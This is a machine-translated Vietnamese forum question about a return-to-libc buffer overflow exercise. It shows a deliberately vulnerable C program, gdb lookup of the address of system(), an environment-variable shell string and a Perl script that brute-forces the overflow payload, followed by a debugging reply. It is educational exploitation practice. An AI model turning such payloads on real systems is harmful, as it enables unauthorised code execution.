Tôi đang lộn xộn xung quanh với tràn bộ đệm, đặc biệt là trở về loại libc.Quay trở lại libc - Hướng dẫn bất hợp pháp
Tôi có đoạn code dễ bị tổn thương sau:
#include<stdio.h>
#include<string.h>
main(int argc, char **argv)
{
char buffer[80];
getchar();
strcpy(buffer, argv[1]);
return 1;
}
tôi biên soạn nó bằng cách sử gcc-2,95 (không -fstack-protector
) với -mpreferred-stack-boundary=2
cờ. Tôi theo sau sự trở lại vào chương libc của "Hacking: The Art of Exploitation".
Trước tiên, tôi tàn tật ASLR:
$ cat /proc/sys/kernel/randomize_va_space
0
tôi phát hiện ra địa chỉ của system
:
$ cat find_system.c
int main() {
system("");
return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system
Breakpoint 1, 0x08048416 in main()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>
Tôi tạo ra một biến môi trường để chứa các lệnh tôi muốn thực hiện sử dụng system
:
$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d
Và sau đó tôi đã thực hiện một kịch bản perl để tự động ăn vỏ:
$ cat script.pl
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "Perl count: $i\n";
system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");
}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)
Tôi đã làm sai ở đâu? Tại sao tôi nhận được "hướng dẫn bất hợp pháp" thay vì vỏ của tôi?
Đính kèm trình gỡ lỗi và tìm ra (đảm bảo đưa một 'sleep (30)' vào chương trình dễ bị tổn thương để cho bạn đủ thời gian để đính kèm trình gỡ lỗi). Rất có thể, nó nhảy tới địa chỉ bộ nhớ hợp lệ nhưng chứa dữ liệu chứ không phải hướng dẫn. –